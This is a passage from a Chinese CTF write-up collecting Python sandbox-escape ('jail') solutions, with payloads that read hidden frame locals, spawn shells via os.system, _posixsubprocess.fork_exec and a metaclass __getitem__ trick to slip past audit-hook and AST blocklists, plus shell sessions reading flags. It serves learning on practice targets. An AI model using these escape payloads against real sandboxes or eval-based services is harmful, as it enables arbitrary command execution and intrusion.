    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
      raise RuntimeError('Operation banned: {}'.format(event))</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">但是别急哈哈,先分析代码需要猜对数字才能获取flag&nbsp;</span></p>
<pre class="language-python highlighter-hljs"><code>def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 &gt; ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
      input_data = eval_func(input(''),{},{})
    except Exception:
      sys.stdout = challenge_original_stdout
      print("Seems not right! please guess it!")
      return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
      game_score += 1
   
    return game_score</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">正确答案在<code>right_guesser_question_answer</code>里面。</span><span style="font-family: 幼圆; font-size: 18px">但如何获取该值呢?</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">搜索了好多信息,最后在官方文档里找到一个很6的函数</span></p>
<p><span style="font-family: 幼圆; font-size: 18px"><img src="https://img2023.cnblogs.com/blog/3167109/202311/3167109-20231105210217071-751520816.png" height="190" width="827"></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">居然还可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0的话就会获取eval的调用栈帧,</span><span style="font-family: 幼圆; font-size: 18px">所以得deep一层</span></p>
<pre class="language-python highlighter-hljs"><code>__import__("sys")._getframe(1)</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">我们试试看是啥情况,有个小技巧,可以使用<code>__import__("sys").__stdout__.write</code>去进行标准输出,这也是上一个非预期的输出方法。</span></p>
<pre class="language-python highlighter-hljs"><code>__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 &gt; __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
&lt;frame at 0x7f00ab5e1590, file '/home/ctf/./server.py', line 31, code guesser&gt;Guess game end!!!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">这里的frame对象指向了<code>'/home/ctf/./server.py'</code>这个file,那么直接调用<code>f_locals</code>属性查看变量</span></p>
<pre class="language-python highlighter-hljs"><code>__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 &gt; __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
{'game_score': 0, 'right_guesser_question_answer': 4392334357835, 'challenge_original_stdout': &lt;_io.TextIOWrapper name='&lt;stdout&gt;' mode='w' encoding='utf-8'&gt;}Guess game end!!!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">我们可以看到获取到了<code>right_guesser_question_answer</code>的值,</span><span style="font-family: 幼圆; font-size: 18px">所以最后的payload为:</span></p>
<pre class="language-python highlighter-hljs"><code>int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))</code></pre>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28916                                                                                                    ─╯

_       _    ____    _       _    ____    _       _    ____
| |   | ||___ \| |   | ||___ \| |   | ||___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ &lt;| |/ _` | |/ /|__ &lt;| |/ _` | |/ /|__ &lt;
| | (_| |   &lt; ___) | | | (_| |   &lt; ___) | | | (_| |   &lt; ___) |
|_|\__,_|_|\_\____/|_|\__,_|_|\_\____/|_|\__,_|_|\_\____/
                                                                                                                                                                     

Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 &gt; int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
you are really super guesser!!!!
NSSCTF{d3b7930b-8a52-4e39-8459-238a68a74e06}</code></pre>
<h1><span style="font-family: &quot;PingFang SC&quot;, 宋体; font-size: 18px"><span style="font-size: 28px" data-v-db92ba9a="">4 byte command</span></span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28088                                                                                                    ─╯

_                _                           _       _ _   _                _ __   
| |            (_)                         (_)   (_) | | |            | | || |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                             

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">看题目估计是限制了4个字符,</span><span style="font-family: 幼圆; font-size: 18px">直接<code>sh</code>试试</span></p>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; sh
sh: 0: can't access tty; job control turned off
$ ls
flagserver.py
$ cat flag
flag=NSSCTF{ccc603df-da5e-4b88-9036-34e08288ac55}
$ </code></pre>
<p><span style="font-size: 28px" data-v-db92ba9a="">s@Fe safeeval(JAIL)</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机<br></span></p>
<pre class="language-python highlighter-hljs"><code>Terminal features will not be available.Consider setting TERM variable to your current terminal name (or xterm).

            ______                __                     _
      ____ |____|            / _|                   | |
___/ __ \| |__ ___   _____ _| |_ ________   ____ _| |
/ __|/ / _` |__/ _ \ / __|/ _` |_/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | |__/ \__ \ (_| | ||__/__/\ V / (_| | |
|___/\ \__,_|_|\___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
       \____/                                                                                                                                                                                                                        

Turing s@Fe mode: on
Black List:

    [
      'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
      'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
      'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
      'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
      'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
      'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
      'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
      'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]

some code:

    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('&gt; ')
    print(expr(input_data))
    def expr(n):
      if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
      else:
            return safeeval.expr(n)

&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">发现给了部分代码。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">对比下<code>pwnlib.util.safeeval</code>中的代码,可以看到blacklist中多了两个可以执行的opcode</span></p>
<ul>
<li><span style="font-family: 幼圆; font-size: 18px">MAKE_FUNCTION</span></li>
<li><span style="font-family: 幼圆; font-size: 18px">CALL_FUNCTION</span></li>
</ul>
<p><span style="font-family: 幼圆; font-size: 18px">很显然出题人想让我们执行函数调用/编写。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">第一时间能想到的是<code>lambda</code>,然后直接调用就行了,</span><span style="font-family: 幼圆; font-size: 18px">payload为:</span></p>
<pre class="language-python highlighter-hljs"><code>(lambda:os.system('cat flag'))()</code></pre>
<pre class="language-python highlighter-hljs"><code>&gt; (lambda:os.system('cat flag'))()
flag=NSSCTF{1b948a6a-1a40-47f5-a7c9-183735b54742}
0</code></pre>
<p><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level6(JAIL)<br></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code> _                _                           _       _ _   _                _   __
| |            (_)                         (_)   (_) | | |            | | / /
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                                            

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===&gt; builtins.input,builtins.input/result,exec,compile
Some code of python jail:

dict_global = dict()
    while True:
      try:
          input_data = input("&gt; ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '&lt;string&gt;', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)

&gt; </code></pre>
<p data-pid="9sqZ2Me6"><span style="font-family: 幼圆; font-size: 18px">这道题难度挺大,看了大佬的WP才明白,来源:https://zhuanlan.zhihu.com/p/579183067</span></p>
<p data-pid="9sqZ2Me6"><span style="font-family: 幼圆; font-size: 18px">这题已经几乎把所有的hook给ban掉了。参考</span><span style="font-family: 幼圆; font-size: 18px">这个writeup:https://ctftime.org/writeup/31883</span></p>
<p data-pid="9qA8op78"><span style="font-family: 幼圆; font-size: 18px">也就是利用<code>_posixsubprocess.fork_exec</code>来实现RCE。不过需要注意,不同的python版本的<code>_posixsubprocess.fork_exec</code>接受的参数个数可能不一样:例如本地WSL的python版本为3.8.10,该函数接受17个参数;而远程python版本为3.10.6,该函数和上面的writeup接受21个参数。</span></p>
<p data-pid="3X65ns7H"><span style="font-family: 幼圆; font-size: 18px">而且注意到,直接<code>import _posixsubprocess</code>的话,会触发audit hook:</span></p>
<pre class="language-python highlighter-hljs"><code>Operation not permitted: import</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">但可以通过如下方法绕过:</span></p>
<pre class="language-python highlighter-hljs"><code>__builtins__['__loader__'].load_module('_posixsubprocess')</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">或者</span></p>
<pre class="language-python highlighter-hljs"><code>__loader__.load_module('_posixsubprocess')</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">而且因为是多次<code>exec</code>,所以我们可以输入多行代码:</span></p>
<pre class="language-python highlighter-hljs"><code>import os
__loader__.load_module('_posixsubprocess').fork_exec(, , True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)</code></pre>
<pre class="language-python highlighter-hljs"><code>&gt; import os
__loader__.load_module('_posixsubprocess').fork_exec(, , True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
&gt; 10
&gt; /bin/sh: 0: can't access tty; job control turned off
$ ls
name 'ls' is not defined
&gt; cat flag
flag=NSSCTF{2fc7edc8-f1ff-48e4-ae32-57a69231c320}
$ </code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level6.1(JAIL)</span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28824                                                                                                    ─╯

_                _                           _       _ _   _                _   __
| |            (_)                         (_)   (_) | | |            | | / /
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                                            

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===&gt; builtins.input,builtins.input/result,exec,compile
Some code of python jail:

    dict_global = dict()
    input_code = input("&gt; ")
    complie_code = compile(input_code, '&lt;string&gt;', 'single')
    exec(complie_code, dict_global)

&gt; </code></pre>
<p data-pid="eIf7o66e"><span style="font-family: 幼圆; font-size: 18px">解题方法来源:calc_jail_beginner_level6.1</span></p>
<p data-pid="eIf7o66e"><span style="font-family: 幼圆; font-size: 18px">本题和上题不同,因为我们只有一次代码执行机会。</span></p>
<p data-pid="wDxSq5hx"><span style="font-family: 幼圆; font-size: 18px">我们可以使用python 3.8引入的海象运算符和<code>list</code>的方式弄出代码:</span></p>
<pre class="language-python highlighter-hljs"><code>, , True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]</code></pre>
<p data-pid="Is7h48cE"><span style="font-family: 幼圆; font-size: 18px">但是发现payload刚发送过去虽然可以弹shell,但是shell秒关。</span></p>
<p data-pid="lBz2uM6V"><span style="font-family: 幼圆; font-size: 18px">假设暴力多次尝试shell,会发生什么:</span></p>
<pre class="language-python highlighter-hljs"><code>, , True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(10000000000)]]</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">这样的话会多次尝试shell。然后我们先将要执行的shell命令复制进剪贴板,在它疯狂回显的时候,疯狂粘贴回车,看看能不能执行,需要手速或者循环的更多。结果居然有一定概率会回显执行命令的结果!吼吼真好玩。。这样就能拿到flag。。哎</span></p>
<h1><span style="font-family: &quot;PingFang SC&quot;, 宋体; font-size: 18px"><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level7(JAIL)</span></span></h1>
<p>&nbsp;<span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28790                                                                                                    ─╯
TERM environment variable not set.


    _       _ _   _                _                         _                _ ______
   (_)   (_) | | |            (_)                     | |            | |____|
    ___ _ _| | | |__   _____ _ _ _ ___ __   ___ _ __| | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |/ /
   | | (_| | | | | |_) |__/ (_| | | | | | | | |__/ |    | |__/\ V /__/ | / /   
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/   
_/ |                        __/ |                                                   
|__/                        |___/                                                   


=================================================================================================
==         Welcome to the calc jail beginner level7,It's AST challenge                     ==
==         Menu list:                                                                        ==
==             et the blacklist AST                                                         ==
==             xecute the python code                                                       ==
==             uit jail challenge                                                         ==
=================================================================================================</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">&nbsp;按G发现转为AST后不能含有以下内容:</span></p>
<pre class="language-python highlighter-hljs"><code>G
=================================================================================================
==      Black List AST:                                                                      ==
==                     'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef==
==                        Sub,Mult,Div,Del'                                                    ==
=================================================================================================</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">虽然没有了import和call,但有一个魔术方法<code>metaclass。</code></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">参考文章: Python进阶——详解元类,metaclass的原理和用法</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">其中有个知识点:</span><span style="font-family: 幼圆; font-size: 18px">可以通过<code>metaclass</code>给类添加属性。</span></p>
<p>&nbsp;<img src="https://img2023.cnblogs.com/blog/3167109/202311/3167109-20231105220009927-234759668.png" height="280" width="690"></p>
<p><span style="font-family: 幼圆; font-size: 18px">猜测一下,既然能添加类的属性,那是否可以修改呢?也就是说如果</span><span style="font-family: 幼圆; font-size: 18px">我们将一个类的某一个属性修改为<code>os.system</code>这样的函数,那么这样一来在我们调用的时候就可以执行了。现在的问题是</span><span style="font-family: 幼圆; font-size: 18px">需要一个可以传入字符串的属性,发现正好<code>__getitem__</code>符合条件。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px"><code>__getitem__</code>是用来取列表或者字典的值的一个属性,如果我们将一个类的<code>__getitem__</code>改为<code>os.system</code>的话是不是就可以执行shell了哈哈</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">举个例子:</span></p>
<pre class="language-python highlighter-hljs"><code>import os

class WOOD():
    pass
WOOD.__getitem__=os.system
WOOD()['ls']</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">运行后发现执行了<code>ls</code></span><span style="font-family: 幼圆; font-size: 18px">但这样依然无法解决这个题,如果我们将上述代码转为AST查看,会发现有<code>Call</code>和</span><code><span style="font-family: 幼圆; font-size: 18px">Expr</span></code></p>
<pre class="language-python highlighter-hljs"><code>import ast

src='''
import os

class WOOD():
    pass
WOOD.__getitem__=os.system
WOOD()['ls']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))

"""
Module(body=), ClassDef(name='WOOD', bases=[], keywords=[], body=, decorator_list=[]), Assign(targets=, value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">对于如何避开<code>Expr</code>,我们给执行的内容赋值就行。</span></p>
<pre class="language-python highlighter-hljs"><code>tmp = WOOD()['ls']</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">如何绕过<code>Call</code>?</span><span style="font-family: 幼圆; font-size: 18px">可以用<code>metaclass</code>,我们指定一个类的<code>__getitem__==os.system</code>,使用mateclass可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的<code>Call</code>,从而进行绕过<code>Call。</code></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">因此最终payload为:</span></p>
<pre class="language-python highlighter-hljs"><code>class WOOD(type):
    __getitem__=os.system
class WHALE(metaclass=WOOD):
    pass
tmp = WHALE['sh']</code></pre>
<pre class="language-python highlighter-hljs"><code>
    _       _ _   _                _                         _                _ ______
   (_)   (_) | | |            (_)                     | |            | |____|
    ___ _ _| | | |__   _____ _ _ _ ___ __   ___ _ __| | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |/ /
   | | (_| | | | | |_) |__/ (_| | | | | | | | |__/ |    | |__/\ V /__/ | / /   
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/   
_/ |                        __/ |                                                   
|__/                        |___/                                                   


=================================================================================================
==         Welcome to the calc jail beginner level7,It's AST challenge                     ==
==         Menu list:                                                                        ==
==             et the blacklist AST                                                         ==
==             xecute the python code                                                       ==
==             uit jail challenge                                                         ==
=================================================================================================
e
Pls input your code: (last line must contain only --HNCTF)
class WOOD(type):
    __getitem__=os.system
class WHALE(metaclass=WOOD):
    pass
tmp = WHALE['sh']
--HNCTF
check is passed!now the result is:
sh: 0: can't access tty; job control turned off
$ ls
flagserver.py
$ cat flag
flag=NSSCTF{58ce785d-6226-4635-9ea8-b0453867e3d7}
$ </code></pre>
<p>&nbsp;</p><br><br>
来源:https://www.cnblogs.com/mumuhhh/p/17811377.html
頁: [1]
查看完整版本: Jail 【Python沙箱逃逸问题合集】